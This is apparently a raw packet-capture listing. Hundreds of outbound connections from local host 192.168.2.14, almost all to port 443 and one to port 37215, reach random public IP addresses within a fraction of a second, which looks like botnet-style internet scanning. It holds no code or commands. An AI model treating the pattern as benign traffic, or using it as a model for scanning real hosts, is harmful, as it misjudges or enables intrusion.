Oct 17, 2024 02:19:42.148261070 CEST	20641	443	192.168.2.14	117.222.101.106
Oct 17, 2024 02:19:42.148261070 CEST	20641	443	192.168.2.14	210.4.222.115
Oct 17, 2024 02:19:42.148261070 CEST	20641	443	192.168.2.14	178.187.101.236
Oct 17, 2024 02:19:42.148261070 CEST	20641	443	192.168.2.14	178.9.13.172
Oct 17, 2024 02:19:42.148274899 CEST	20641	443	192.168.2.14	109.67.68.206
Oct 17, 2024 02:19:42.148274899 CEST	20641	443	192.168.2.14	109.144.98.123
Oct 17, 2024 02:19:42.148277998 CEST	20641	443	192.168.2.14	210.169.233.45
Oct 17, 2024 02:19:42.148277998 CEST	20641	443	192.168.2.14	79.157.64.207
Oct 17, 2024 02:19:42.148277998 CEST	20641	443	192.168.2.14	37.72.32.36
Oct 17, 2024 02:19:42.148292065 CEST	20641	443	192.168.2.14	79.11.80.140
Oct 17, 2024 02:19:42.148293018 CEST	20641	443	192.168.2.14	117.41.58.249
Oct 17, 2024 02:19:42.148293018 CEST	20641	443	192.168.2.14	118.151.67.225
Oct 17, 2024 02:19:42.148307085 CEST	20641	443	192.168.2.14	79.117.139.11
Oct 17, 2024 02:19:42.148308039 CEST	20641	443	192.168.2.14	118.166.224.139
Oct 17, 2024 02:19:42.148308039 CEST	20641	443	192.168.2.14	117.204.160.129
Oct 17, 2024 02:19:42.148308039 CEST	20641	443	192.168.2.14	109.135.254.11
Oct 17, 2024 02:19:42.148308992 CEST	20641	443	192.168.2.14	5.248.122.93
Oct 17, 2024 02:19:42.148308992 CEST	20641	443	192.168.2.14	118.240.133.2
Oct 17, 2024 02:19:42.148309946 CEST	20641	443	192.168.2.14	117.225.24.197
Oct 17, 2024 02:19:42.148312092 CEST	20641	443	192.168.2.14	42.35.33.208
Oct 17, 2024 02:19:42.148312092 CEST	20641	443	192.168.2.14	2.57.152.20
Oct 17, 2024 02:19:42.148314953 CEST	20641	443	192.168.2.14	5.251.145.0
Oct 17, 2024 02:19:42.148319006 CEST	20641	443	192.168.2.14	37.235.39.94
Oct 17, 2024 02:19:42.148319006 CEST	20641	443	192.168.2.14	178.163.5.89
Oct 17, 2024 02:19:42.148320913 CEST	20641	443	192.168.2.14	210.155.215.182
Oct 17, 2024 02:19:42.148328066 CEST	20641	443	192.168.2.14	117.164.182.132
Oct 17, 2024 02:19:42.148328066 CEST	20641	443	192.168.2.14	202.206.8.113
Oct 17, 2024 02:19:42.148328066 CEST	20641	443	192.168.2.14	42.179.182.30
Oct 17, 2024 02:19:42.148328066 CEST	20641	443	192.168.2.14	202.174.35.55
Oct 17, 2024 02:19:42.148339987 CEST	20641	443	192.168.2.14	2.217.69.101
Oct 17, 2024 02:19:42.148341894 CEST	20641	443	192.168.2.14	117.26.77.20
Oct 17, 2024 02:19:42.148341894 CEST	20641	443	192.168.2.14	79.146.193.79
Oct 17, 2024 02:19:42.148345947 CEST	20641	443	192.168.2.14	212.221.144.103
Oct 17, 2024 02:19:42.148346901 CEST	20641	443	192.168.2.14	94.156.157.119
Oct 17, 2024 02:19:42.148346901 CEST	20641	443	192.168.2.14	2.129.174.172
Oct 17, 2024 02:19:42.148345947 CEST	20641	443	192.168.2.14	123.99.179.111
Oct 17, 2024 02:19:42.148358107 CEST	20641	443	192.168.2.14	37.86.99.26
Oct 17, 2024 02:19:42.148360014 CEST	20641	443	192.168.2.14	37.187.206.12
Oct 17, 2024 02:19:42.148396015 CEST	20641	443	192.168.2.14	148.115.233.208
Oct 17, 2024 02:19:42.148406029 CEST	20641	443	192.168.2.14	202.189.221.74
Oct 17, 2024 02:19:42.148406029 CEST	20641	443	192.168.2.14	212.5.130.202
Oct 17, 2024 02:19:42.148410082 CEST	20641	443	192.168.2.14	148.132.28.197
Oct 17, 2024 02:19:42.148411036 CEST	20641	443	192.168.2.14	79.251.168.32
Oct 17, 2024 02:19:42.148413897 CEST	20641	443	192.168.2.14	118.80.137.164
Oct 17, 2024 02:19:42.148415089 CEST	20641	443	192.168.2.14	212.85.187.30
Oct 17, 2024 02:19:42.148418903 CEST	20641	443	192.168.2.14	5.134.203.24
Oct 17, 2024 02:19:42.148418903 CEST	20641	443	192.168.2.14	123.219.219.144
Oct 17, 2024 02:19:42.148427963 CEST	20641	443	192.168.2.14	94.201.94.105
Oct 17, 2024 02:19:42.148428917 CEST	20641	443	192.168.2.14	212.122.13.65
Oct 17, 2024 02:19:42.148428917 CEST	20641	443	192.168.2.14	2.166.60.90
Oct 17, 2024 02:19:42.148446083 CEST	20641	443	192.168.2.14	178.125.160.224
Oct 17, 2024 02:19:42.148451090 CEST	20641	443	192.168.2.14	94.182.106.234
Oct 17, 2024 02:19:42.148452044 CEST	20641	443	192.168.2.14	210.249.104.91
Oct 17, 2024 02:19:42.148452044 CEST	20641	443	192.168.2.14	148.89.178.130
Oct 17, 2024 02:19:42.148452997 CEST	20641	443	192.168.2.14	212.64.86.222
Oct 17, 2024 02:19:42.148452044 CEST	20641	443	192.168.2.14	5.182.75.189
Oct 17, 2024 02:19:42.148452997 CEST	20641	443	192.168.2.14	202.75.252.220
Oct 17, 2024 02:19:42.148452997 CEST	20641	443	192.168.2.14	178.87.0.214
Oct 17, 2024 02:19:42.148452044 CEST	20641	443	192.168.2.14	123.160.234.127
Oct 17, 2024 02:19:42.148452044 CEST	20641	443	192.168.2.14	123.139.102.107
Oct 17, 2024 02:19:42.148463964 CEST	20641	443	192.168.2.14	148.131.214.207
Oct 17, 2024 02:19:42.148478031 CEST	20641	443	192.168.2.14	148.64.254.123
Oct 17, 2024 02:19:42.148478031 CEST	20641	443	192.168.2.14	123.200.243.104
Oct 17, 2024 02:19:42.148479939 CEST	20641	443	192.168.2.14	5.108.172.27
Oct 17, 2024 02:19:42.148478031 CEST	20641	443	192.168.2.14	94.85.31.134
Oct 17, 2024 02:19:42.148478031 CEST	20641	443	192.168.2.14	148.81.63.16
Oct 17, 2024 02:19:42.148478031 CEST	20641	443	192.168.2.14	118.151.30.254
Oct 17, 2024 02:19:42.148488045 CEST	20641	443	192.168.2.14	37.233.124.156
Oct 17, 2024 02:19:42.148488998 CEST	20641	443	192.168.2.14	210.141.190.8
Oct 17, 2024 02:19:42.148488045 CEST	20641	443	192.168.2.14	109.50.1.199
Oct 17, 2024 02:19:42.148490906 CEST	20641	443	192.168.2.14	118.152.64.45
Oct 17, 2024 02:19:42.148490906 CEST	20641	443	192.168.2.14	42.72.117.255
Oct 17, 2024 02:19:42.148490906 CEST	20641	443	192.168.2.14	37.193.72.54
Oct 17, 2024 02:19:42.148490906 CEST	20641	443	192.168.2.14	2.53.199.37
Oct 17, 2024 02:19:42.148490906 CEST	20641	443	192.168.2.14	148.183.52.119
Oct 17, 2024 02:19:42.148500919 CEST	20641	443	192.168.2.14	210.98.16.244
Oct 17, 2024 02:19:42.148500919 CEST	20641	443	192.168.2.14	210.10.218.57
Oct 17, 2024 02:19:42.148500919 CEST	20641	443	192.168.2.14	5.3.204.115
Oct 17, 2024 02:19:42.148509979 CEST	20641	443	192.168.2.14	210.220.8.107
Oct 17, 2024 02:19:42.148511887 CEST	20641	443	192.168.2.14	37.191.121.32
Oct 17, 2024 02:19:42.148513079 CEST	20641	443	192.168.2.14	79.138.90.118
Oct 17, 2024 02:19:42.148511887 CEST	20641	443	192.168.2.14	42.248.25.116
Oct 17, 2024 02:19:42.148513079 CEST	20641	443	192.168.2.14	94.172.34.84
Oct 17, 2024 02:19:42.148514032 CEST	20641	443	192.168.2.14	117.214.218.203
Oct 17, 2024 02:19:42.148511887 CEST	20641	443	192.168.2.14	94.86.198.142
Oct 17, 2024 02:19:42.148518085 CEST	20641	443	192.168.2.14	117.232.44.6
Oct 17, 2024 02:19:42.148513079 CEST	20641	443	192.168.2.14	118.227.144.59
Oct 17, 2024 02:19:42.148518085 CEST	20641	443	192.168.2.14	109.4.2.25
Oct 17, 2024 02:19:42.148513079 CEST	20641	443	192.168.2.14	2.127.198.182
Oct 17, 2024 02:19:42.148518085 CEST	20641	443	192.168.2.14	210.186.3.34
Oct 17, 2024 02:19:42.148523092 CEST	20641	443	192.168.2.14	212.91.22.105
Oct 17, 2024 02:19:42.148523092 CEST	20641	443	192.168.2.14	79.193.149.207
Oct 17, 2024 02:19:42.148530006 CEST	20641	443	192.168.2.14	148.7.119.115
Oct 17, 2024 02:19:42.148535013 CEST	20641	443	192.168.2.14	210.232.130.163
Oct 17, 2024 02:19:42.148535013 CEST	20641	443	192.168.2.14	123.118.230.21
Oct 17, 2024 02:19:42.148535013 CEST	20641	443	192.168.2.14	212.1.91.82
Oct 17, 2024 02:19:42.148535013 CEST	20641	443	192.168.2.14	178.193.184.69
Oct 17, 2024 02:19:42.148535013 CEST	20641	443	192.168.2.14	5.192.232.84
Oct 17, 2024 02:19:42.148536921 CEST	20641	443	192.168.2.14	210.199.126.46
Oct 17, 2024 02:19:42.148544073 CEST	58188	37215	192.168.2.14	41.187.219.13
Oct 17, 2024 02:19:42.148542881 CEST	20641	443	192.168.2.14	178.240.222.144
Oct 17, 2024 02:19:42.148542881 CEST	20641	443	192.168.2.14	79.150.100.185
Oct 17, 2024 02:19:42.148587942 CEST	20641	443	192.168.2.14	109.79.167.10
Oct 17, 2024 02:19:42.148588896 CEST	20641	443	192.168.2.14	94.153.212.10
Oct 17, 2024 02:19:42.148588896 CEST	20641	443	192.168.2.14	212.113.142.41
Oct 17, 2024 02:19:42.148590088 CEST	20641	443	192.168.2.14	79.241.83.247
Oct 17, 2024 02:19:42.148590088 CEST	20641	443	192.168.2.14	109.34.102.128
Oct 17, 2024 02:19:42.148590088 CEST	20641	443	192.168.2.14	123.230.226.11
Oct 17, 2024 02:19:42.148591042 CEST	20641	443	192.168.2.14	117.55.229.104
Oct 17, 2024 02:19:42.148598909 CEST	20641	443	192.168.2.14	42.15.134.111
Oct 17, 2024 02:19:42.148607969 CEST	20641	443	192.168.2.14	5.48.55.217
Oct 17, 2024 02:19:42.148607969 CEST	20641	443	192.168.2.14	210.159.117.178
Oct 17, 2024 02:19:42.148610115 CEST	20641	443	192.168.2.14	109.32.28.26
Oct 17, 2024 02:19:42.148610115 CEST	20641	443	192.168.2.14	5.236.176.102
Oct 17, 2024 02:19:42.148610115 CEST	20641	443	192.168.2.14	2.204.213.74
Oct 17, 2024 02:19:42.148627996 CEST	20641	443	192.168.2.14	202.192.146.45
Oct 17, 2024 02:19:42.148629904 CEST	20641	443	192.168.2.14	117.118.40.45
Oct 17, 2024 02:19:42.148629904 CEST	20641	443	192.168.2.14	94.230.224.78
Oct 17, 2024 02:19:42.148629904 CEST	20641	443	192.168.2.14	2.19.139.225
Oct 17, 2024 02:19:42.148629904 CEST	20641	443	192.168.2.14	148.234.98.157
Oct 17, 2024 02:19:42.148629904 CEST	20641	443	192.168.2.14	117.164.3.207
Oct 17, 2024 02:19:42.148629904 CEST	20641	443	192.168.2.14	5.254.221.126
Oct 17, 2024 02:19:42.148632050 CEST	20641	443	192.168.2.14	94.120.62.167
Oct 17, 2024 02:19:42.148629904 CEST	20641	443	192.168.2.14	5.49.26.141
Oct 17, 2024 02:19:42.148633003 CEST	20641	443	192.168.2.14	210.192.82.81
Oct 17, 2024 02:19:42.148631096 CEST	20641	443	192.168.2.14	109.29.231.232
Oct 17, 2024 02:19:42.148629904 CEST	20641	443	192.168.2.14	2.131.164.167
Oct 17, 2024 02:19:42.148633957 CEST	20641	443	192.168.2.14	2.74.174.70
Oct 17, 2024 02:19:42.148632050 CEST	20641	443	192.168.2.14	2.93.104.98
Oct 17, 2024 02:19:42.148633957 CEST	20641	443	192.168.2.14	212.180.113.1
Oct 17, 2024 02:19:42.148632050 CEST	20641	443	192.168.2.14	178.43.162.63
Oct 17, 2024 02:19:42.148633957 CEST	20641	443	192.168.2.14	79.244.64.107
Oct 17, 2024 02:19:42.148633957 CEST	20641	443	192.168.2.14	79.54.140.196
Oct 17, 2024 02:19:42.148633957 CEST	20641	443	192.168.2.14	118.64.7.223
Oct 17, 2024 02:19:42.148655891 CEST	20641	443	192.168.2.14	109.184.68.98
Oct 17, 2024 02:19:42.148655891 CEST	20641	443	192.168.2.14	2.46.154.225
Oct 17, 2024 02:19:42.148657084 CEST	20641	443	192.168.2.14	118.137.179.175
Oct 17, 2024 02:19:42.148658037 CEST	20641	443	192.168.2.14	118.101.61.162
Oct 17, 2024 02:19:42.148658991 CEST	20641	443	192.168.2.14	37.110.57.70
Oct 17, 2024 02:19:42.148660898 CEST	20641	443	192.168.2.14	118.195.232.154
Oct 17, 2024 02:19:42.148662090 CEST	20641	443	192.168.2.14	118.79.8.138
Oct 17, 2024 02:19:42.148662090 CEST	20641	443	192.168.2.14	5.154.60.21
Oct 17, 2024 02:19:42.148662090 CEST	20641	443	192.168.2.14	94.43.162.62
Oct 17, 2024 02:19:42.148663998 CEST	20641	443	192.168.2.14	117.223.246.42
Oct 17, 2024 02:19:42.148663998 CEST	20641	443	192.168.2.14	117.69.152.156
Oct 17, 2024 02:19:42.148663998 CEST	20641	443	192.168.2.14	178.41.213.221
Oct 17, 2024 02:19:42.148673058 CEST	20641	443	192.168.2.14	79.34.175.121
Oct 17, 2024 02:19:42.148674011 CEST	20641	443	192.168.2.14	202.206.67.36
Oct 17, 2024 02:19:42.148688078 CEST	20641	443	192.168.2.14	123.190.33.40
Oct 17, 2024 02:19:42.148688078 CEST	20641	443	192.168.2.14	202.164.149.44
Oct 17, 2024 02:19:42.148688078 CEST	20641	443	192.168.2.14	5.21.163.114
Oct 17, 2024 02:19:42.148689032 CEST	20641	443	192.168.2.14	148.168.134.185
Oct 17, 2024 02:19:42.148688078 CEST	20641	443	192.168.2.14	37.166.6.192
Oct 17, 2024 02:19:42.148694038 CEST	20641	443	192.168.2.14	202.225.62.84
Oct 17, 2024 02:19:42.148694992 CEST	20641	443	192.168.2.14	178.190.228.143
Oct 17, 2024 02:19:42.148695946 CEST	20641	443	192.168.2.14	5.163.86.73
Oct 17, 2024 02:19:42.148706913 CEST	20641	443	192.168.2.14	94.143.126.23
Oct 17, 2024 02:19:42.148706913 CEST	20641	443	192.168.2.14	2.57.176.234
Oct 17, 2024 02:19:42.148706913 CEST	20641	443	192.168.2.14	210.231.10.136
Oct 17, 2024 02:19:42.148711920 CEST	20641	443	192.168.2.14	178.39.67.146
Oct 17, 2024 02:19:42.148714066 CEST	20641	443	192.168.2.14	2.246.152.218
Oct 17, 2024 02:19:42.148710966 CEST	20641	443	192.168.2.14	79.42.2.12
Oct 17, 2024 02:19:42.148710966 CEST	20641	443	192.168.2.14	109.74.248.12
Oct 17, 2024 02:19:42.148710966 CEST	20641	443	192.168.2.14	118.70.83.66
Oct 17, 2024 02:19:42.148711920 CEST	20641	443	192.168.2.14	212.177.141.66
Oct 17, 2024 02:19:42.148711920 CEST	20641	443	192.168.2.14	5.127.67.58
Oct 17, 2024 02:19:42.148711920 CEST	20641	443	192.168.2.14	202.192.250.201
Oct 17, 2024 02:19:42.148724079 CEST	20641	443	192.168.2.14	94.135.55.24
Oct 17, 2024 02:19:42.148724079 CEST	20641	443	192.168.2.14	123.192.125.65
Oct 17, 2024 02:19:42.148724079 CEST	20641	443	192.168.2.14	210.233.67.113
Oct 17, 2024 02:19:42.148724079 CEST	20641	443	192.168.2.14	2.73.103.169
Oct 17, 2024 02:19:42.148724079 CEST	20641	443	192.168.2.14	210.221.32.245
Oct 17, 2024 02:19:42.148734093 CEST	20641	443	192.168.2.14	79.202.248.85
Oct 17, 2024 02:19:42.148734093 CEST	20641	443	192.168.2.14	109.88.128.10
Oct 17, 2024 02:19:42.148739100 CEST	20641	443	192.168.2.14	94.92.85.7
Oct 17, 2024 02:19:42.148740053 CEST	20641	443	192.168.2.14	123.227.102.106
Oct 17, 2024 02:19:42.148741007 CEST	20641	443	192.168.2.14	210.196.147.231
Oct 17, 2024 02:19:42.148741007 CEST	20641	443	192.168.2.14	210.137.202.88
Oct 17, 2024 02:19:42.148741961 CEST	20641	443	192.168.2.14	109.232.126.53
Oct 17, 2024 02:19:42.148744106 CEST	20641	443	192.168.2.14	148.74.248.41
Oct 17, 2024 02:19:42.148746967 CEST	20641	443	192.168.2.14	5.214.93.179
Oct 17, 2024 02:19:42.148756981 CEST	20641	443	192.168.2.14	123.11.157.77
Oct 17, 2024 02:19:42.148756981 CEST	20641	443	192.168.2.14	210.139.161.2
Oct 17, 2024 02:19:42.148762941 CEST	20641	443	192.168.2.14	109.29.173.104
Oct 17, 2024 02:19:42.148763895 CEST	20641	443	192.168.2.14	2.4.26.138
Oct 17, 2024 02:19:42.148765087 CEST	20641	443	192.168.2.14	37.184.63.24
Oct 17, 2024 02:19:42.148766041 CEST	20641	443	192.168.2.14	212.78.42.24
Oct 17, 2024 02:19:42.148766041 CEST	20641	443	192.168.2.14	202.174.16.105
Oct 17, 2024 02:19:42.148772001 CEST	20641	443	192.168.2.14	37.68.121.172
Oct 17, 2024 02:19:42.148772001 CEST	20641	443	192.168.2.14	79.141.213.35
Oct 17, 2024 02:19:42.148775101 CEST	20641	443	192.168.2.14	79.213.98.27
Oct 17, 2024 02:19:42.148775101 CEST	20641	443	192.168.2.14	94.194.218.162
Oct 17, 2024 02:19:42.148787975 CEST	20641	443	192.168.2.14	210.133.8.42
Oct 17, 2024 02:19:42.148788929 CEST	20641	443	192.168.2.14	117.81.247.141
Oct 17, 2024 02:19:42.148794889 CEST	20641	443	192.168.2.14	117.113.135.137
Oct 17, 2024 02:19:42.148794889 CEST	20641	443	192.168.2.14	178.158.150.209
Oct 17, 2024 02:19:42.148797035 CEST	20641	443	192.168.2.14	79.148.215.99
Oct 17, 2024 02:19:42.148804903 CEST	20641	443	192.168.2.14	2.37.215.11
Oct 17, 2024 02:19:42.148804903 CEST	20641	443	192.168.2.14	94.173.179.201
Oct 17, 2024 02:19:42.148806095 CEST	20641	443	192.168.2.14	117.66.130.164
Oct 17, 2024 02:19:42.148812056 CEST	20641	443	192.168.2.14	118.56.17.68
Oct 17, 2024 02:19:42.148812056 CEST	20641	443	192.168.2.14	42.231.139.95
Oct 17, 2024 02:19:42.148816109 CEST	20641	443	192.168.2.14	117.11.47.188
Oct 17, 2024 02:19:42.148816109 CEST	20641	443	192.168.2.14	212.206.94.233
Oct 17, 2024 02:19:42.148816109 CEST	20641	443	192.168.2.14	94.153.67.23
Oct 17, 2024 02:19:42.148816109 CEST	20641	443	192.168.2.14	178.171.51.51
Oct 17, 2024 02:19:42.148818970 CEST	20641	443	192.168.2.14	37.36.165.44
Oct 17, 2024 02:19:42.148823977 CEST	20641	443	192.168.2.14	210.97.48.155
Oct 17, 2024 02:19:42.148844004 CEST	20641	443	192.168.2.14	178.160.90.73
Oct 17, 2024 02:19:42.148844004 CEST	20641	443	192.168.2.14	5.241.131.79
Oct 17, 2024 02:19:42.148847103 CEST	20641	443	192.168.2.14	123.81.99.124
Oct 17, 2024 02:19:42.148861885 CEST	20641	443	192.168.2.14	210.194.62.1
Oct 17, 2024 02:19:42.148863077 CEST	20641	443	192.168.2.14	5.113.72.28
Oct 17, 2024 02:19:42.148861885 CEST	20641	443	192.168.2.14	202.78.198.136
Oct 17, 2024 02:19:42.148861885 CEST	51026	80	192.168.2.14	5.130.89.178
Oct 17, 2024 02:19:42.148861885 CEST	20641	443	192.168.2.14	210.79.75.245
Oct 17, 2024 02:19:42.148873091 CEST	20641	443	192.168.2.14	5.12.111.237
Oct 17, 2024 02:19:42.148873091 CEST	20641	443	192.168.2.14	212.53.45.39
Oct 17, 2024 02:19:42.148873091 CEST	20641	443	192.168.2.14	178.233.145.185
Oct 17, 2024 02:19:42.148874998 CEST	20641	443	192.168.2.14	42.184.205.9
Oct 17, 2024 02:19:42.148878098 CEST	20641	443	192.168.2.14	118.224.211.161
Oct 17, 2024 02:19:42.148878098 CEST	20641	443	192.168.2.14	37.193.196.5
Oct 17, 2024 02:19:42.148883104 CEST	20641	443	192.168.2.14	210.78.196.20
Oct 17, 2024 02:19:42.148891926 CEST	20641	443	192.168.2.14	94.119.208.98
Oct 17, 2024 02:19:42.148891926 CEST	20641	443	192.168.2.14	212.122.47.31
Oct 17, 2024 02:19:42.148891926 CEST	20641	443	192.168.2.14	123.102.159.222
Oct 17, 2024 02:19:42.148894072 CEST	20641	443	192.168.2.14	42.52.162.64
Oct 17, 2024 02:19:42.148894072 CEST	20641	443	192.168.2.14	94.234.140.93
Oct 17, 2024 02:19:42.148900032 CEST	20641	443	192.168.2.14	148.209.2.127
Oct 17, 2024 02:19:42.148900032 CEST	20641	443	192.168.2.14	5.91.167.209
Oct 17, 2024 02:19:42.148904085 CEST	20641	443	192.168.2.14	94.137.74.209
Oct 17, 2024 02:19:42.148905039 CEST	20641	443	192.168.2.14	94.23.108.56
Oct 17, 2024 02:19:42.148905039 CEST	20641	443	192.168.2.14	212.220.142.244
Oct 17, 2024 02:19:42.148905039 CEST	20641	443	192.168.2.14	42.13.91.55
Oct 17, 2024 02:19:42.148910999 CEST	20641	443	192.168.2.14	148.215.149.252
Oct 17, 2024 02:19:42.148921013 CEST	20641	443	192.168.2.14	123.127.242.154
Oct 17, 2024 02:19:42.148924112 CEST	20641	443	192.168.2.14	2.178.255.233
Oct 17, 2024 02:19:42.148924112 CEST	20641	443	192.168.2.14	94.135.134.125
Oct 17, 2024 02:19:42.148932934 CEST	20641	443	192.168.2.14	118.38.175.55
Oct 17, 2024 02:19:42.148941040 CEST	20641	443	192.168.2.14	117.122.18.76
Oct 17, 2024 02:19:42.148950100 CEST	20641	443	192.168.2.14	5.56.202.52
Oct 17, 2024 02:19:42.148950100 CEST	20641	443	192.168.2.14	5.8.68.0
Oct 17, 2024 02:19:42.148952007 CEST	20641	443	192.168.2.14	210.218.34.110
Oct 17, 2024 02:19:42.148952007 CEST	20641	443	192.168.2.14	42.182.138.64
Oct 17, 2024 02:19:42.148957014 CEST	20641	443	192.168.2.14	42.98.2.153
Oct 17, 2024 02:19:42.148962975 CEST	20641	443	192.168.2.14	148.188.155.133
Oct 17, 2024 02:19:42.148962975 CEST	20641	443	192.168.2.14	123.95.52.208
Oct 17, 2024 02:19:42.148968935 CEST	20641	443	192.168.2.14	117.86.86.200
Oct 17, 2024 02:19:42.148968935 CEST	20641	443	192.168.2.14	148.238.222.188
Oct 17, 2024 02:19:42.148972988 CEST	20641	443	192.168.2.14	148.227.144.84
Oct 17, 2024 02:19:42.148974895 CEST	20641	443	192.168.2.14	109.227.177.132
Oct 17, 2024 02:19:42.148974895 CEST	20641	443	192.168.2.14	2.62.214.230
Oct 17, 2024 02:19:42.148972988 CEST	20641	443	192.168.2.14	118.65.220.253
Oct 17, 2024 02:19:42.148996115 CEST	20641	443	192.168.2.14	210.234.186.85
Oct 17, 2024 02:19:42.148996115 CEST	20641	443	192.168.2.14	79.3.103.227
Oct 17, 2024 02:19:42.148997068 CEST	20641	443	192.168.2.14	79.81.97.110
Oct 17, 2024 02:19:42.148998976 CEST	20641	443	192.168.2.14	212.157.250.151
Oct 17, 2024 02:19:42.149003029 CEST	20641	443	192.168.2.14	117.231.25.178
Oct 17, 2024 02:19:42.149007082 CEST	20641	443	192.168.2.14	79.85.131.156
Oct 17, 2024 02:19:42.149012089 CEST	20641	443	192.168.2.14	42.147.16.110
Oct 17, 2024 02:19:42.149018049 CEST	20641	443	192.168.2.14	123.17.30.9
Oct 17, 2024 02:19:42.149019003 CEST	20641	443	192.168.2.14	210.152.79.168
Oct 17, 2024 02:19:42.149019957 CEST	20641	443	192.168.2.14	2.149.16.4
Oct 17, 2024 02:19:42.149019957 CEST	20641	443	192.168.2.14	109.114.24.202
Oct 17, 2024 02:19:42.149018049 CEST	20641	443	192.168.2.14	210.193.101.49
Oct 17, 2024 02:19:42.149019957 CEST	20641	443	192.168.2.14	37.164.19.144
Oct 17, 2024 02:19:42.149030924 CEST	20641	443	192.168.2.14	202.1.74.135
Oct 17, 2024 02:19:42.149033070 CEST	20641	443	192.168.2.14	178.131.237.32
Oct 17, 2024 02:19:42.149035931 CEST	20641	443	192.168.2.14	94.172.85.26
Oct 17, 2024 02:19:42.149045944 CEST	20641	443	192.168.2.14	210.109.56.84
Oct 17, 2024 02:19:42.149049997 CEST	20641	443	192.168.2.14	123.83.141.76
Oct 17, 2024 02:19:42.149049997 CEST	20641	443	192.168.2.14	79.76.208.89
Oct 17, 2024 02:19:42.149049997 CEST	20641	443	192.168.2.14	5.45.131.241
Oct 17, 2024 02:19:42.149049997 CEST	20641	443	192.168.2.14	79.184.95.218
Oct 17, 2024 02:19:42.149049997 CEST	20641	443	192.168.2.14	5.152.59.155
Oct 17, 2024 02:19:42.149055004 CEST	20641	443	192.168.2.14	94.6.189.240
Oct 17, 2024 02:19:42.149059057 CEST	20641	443	192.168.2.14	94.97.98.44
Oct 17, 2024 02:19:42.149074078 CEST	20641	443	192.168.2.14	210.252.163.242
Oct 17, 2024 02:19:42.149080992 CEST	20641	443	192.168.2.14	37.227.44.89
Oct 17, 2024 02:19:42.149080992 CEST	20641	443	192.168.2.14	117.150.46.75
Oct 17, 2024 02:19:42.149082899 CEST	20641	443	192.168.2.14	94.56.57.247
Oct 17, 2024 02:19:42.149082899 CEST	20641	443	192.168.2.14	210.176.19.66
Oct 17, 2024 02:19:42.149082899 CEST	20641	443	192.168.2.14	118.196.181.67
Oct 17, 2024 02:19:42.149084091 CEST	20641	443	192.168.2.14	210.180.202.106
Oct 17, 2024 02:19:42.149097919 CEST	20641	443	192.168.2.14	94.252.4.181
Oct 17, 2024 02:19:42.149104118 CEST	20641	443	192.168.2.14	5.180.110.230
Oct 17, 2024 02:19:42.149106026 CEST	20641	443	192.168.2.14	118.28.129.251
Oct 17, 2024 02:19:42.149106026 CEST	20641	443	192.168.2.14	94.15.37.29
Oct 17, 2024 02:19:42.149111032 CEST	20641	443	192.168.2.14	42.43.69.210
Oct 17, 2024 02:19:42.149111986 CEST	20641	443	192.168.2.14	94.39.5.61
Oct 17, 2024 02:19:42.149116993 CEST	20641	443	192.168.2.14	94.245.112.45
Oct 17, 2024 02:19:42.149122000 CEST	20641	443	192.168.2.14	37.253.25.84
Oct 17, 2024 02:19:42.149125099 CEST	20641	443	192.168.2.14	94.187.33.163
Oct 17, 2024 02:19:42.149127007 CEST	20641	443	192.168.2.14	210.228.143.0
Oct 17, 2024 02:19:42.149127007 CEST	20641	443	192.168.2.14	79.253.219.27
Oct 17, 2024 02:19:42.149127007 CEST	20641	443	192.168.2.14	178.249.136.175
Oct 17, 2024 02:19:42.149131060 CEST	20641	443	192.168.2.14	117.207.21.228
Oct 17, 2024 02:19:42.149137020 CEST	20641	443	192.168.2.14	148.106.220.68
Oct 17, 2024 02:19:42.149137020 CEST	20641	443	192.168.2.14	210.19.82.12
Oct 17, 2024 02:19:42.149147987 CEST	20641	443	192.168.2.14	212.71.233.234
Oct 17, 2024 02:19:42.149149895 CEST	20641	443	192.168.2.14	178.7.235.98
Oct 17, 2024 02:19:42.149152040 CEST	20641	443	192.168.2.14	42.13.124.98
Oct 17, 2024 02:19:42.149152040 CEST	20641	443	192.168.2.14	37.123.210.145
Oct 17, 2024 02:19:42.149152040 CEST	20641	443	192.168.2.14	2.139.222.10
Oct 17, 2024 02:19:42.149152994 CEST	20641	443	192.168.2.14	94.0.166.228
Oct 17, 2024 02:19:42.149162054 CEST	20641	443	192.168.2.14	117.190.183.197
Oct 17, 2024 02:19:42.149162054 CEST	20641	443	192.168.2.14	178.28.64.46
Oct 17, 2024 02:19:42.149163961 CEST	20641	443	192.168.2.14	178.73.153.231
Oct 17, 2024 02:19:42.149166107 CEST	20641	443	192.168.2.14	94.142.131.56
Oct 17, 2024 02:19:42.149168015 CEST	20641	443	192.168.2.14	37.50.77.180
Oct 17, 2024 02:19:42.149168015 CEST	20641	443	192.168.2.14	123.49.253.82
Oct 17, 2024 02:19:42.149171114 CEST	20641	443	192.168.2.14	148.100.82.51
Oct 17, 2024 02:19:42.149173975 CEST	20641	443	192.168.2.14	5.70.112.169
Oct 17, 2024 02:19:42.149175882 CEST	20641	443	192.168.2.14	148.233.195.61
Oct 17, 2024 02:19:42.149179935 CEST	20641	443	192.168.2.14	109.214.24.40
Oct 17, 2024 02:19:42.149180889 CEST	20641	443	192.168.2.14	94.163.131.77
Oct 17, 2024 02:19:42.149188042 CEST	20641	443	192.168.2.14	79.172.234.62
Oct 17, 2024 02:19:42.149192095 CEST	20641	443	192.168.2.14	210.5.225.168
Oct 17, 2024 02:19:42.149193048 CEST	20641	443	192.168.2.14	118.237.193.167
Oct 17, 2024 02:19:42.149198055 CEST	20641	443	192.168.2.14	148.49.92.58
Oct 17, 2024 02:19:42.149209023 CEST	20641	443	192.168.2.14	2.43.2.255
Oct 17, 2024 02:19:42.149211884 CEST	20641	443	192.168.2.14	37.234.60.119
Oct 17, 2024 02:19:42.149211884 CEST	20641	443	192.168.2.14	37.93.27.236
Oct 17, 2024 02:19:42.149211884 CEST	20641	443	192.168.2.14	148.124.156.153
Oct 17, 2024 02:19:42.149225950 CEST	20641	443	192.168.2.14	42.215.127.21
Oct 17, 2024 02:19:42.149231911 CEST	20641	443	192.168.2.14	148.62.161.79
Oct 17, 2024 02:19:42.149231911 CEST	20641	443	192.168.2.14	212.29.40.128
Oct 17, 2024 02:19:42.149233103 CEST	20641	443	192.168.2.14	123.216.161.22
Oct 17, 2024 02:19:42.149240971 CEST	20641	443	192.168.2.14	118.73.92.67
Oct 17, 2024 02:19:42.149260998 CEST	20641	443	192.168.2.14	123.170.225.89
Oct 17, 2024 02:19:42.149262905 CEST	20641	443	192.168.2.14	202.188.166.179
Oct 17, 2024 02:19:42.149270058 CEST	20641	443	192.168.2.14	148.236.132.124
Oct 17, 2024 02:19:42.149271965 CEST	20641	443	192.168.2.14	123.125.162.206
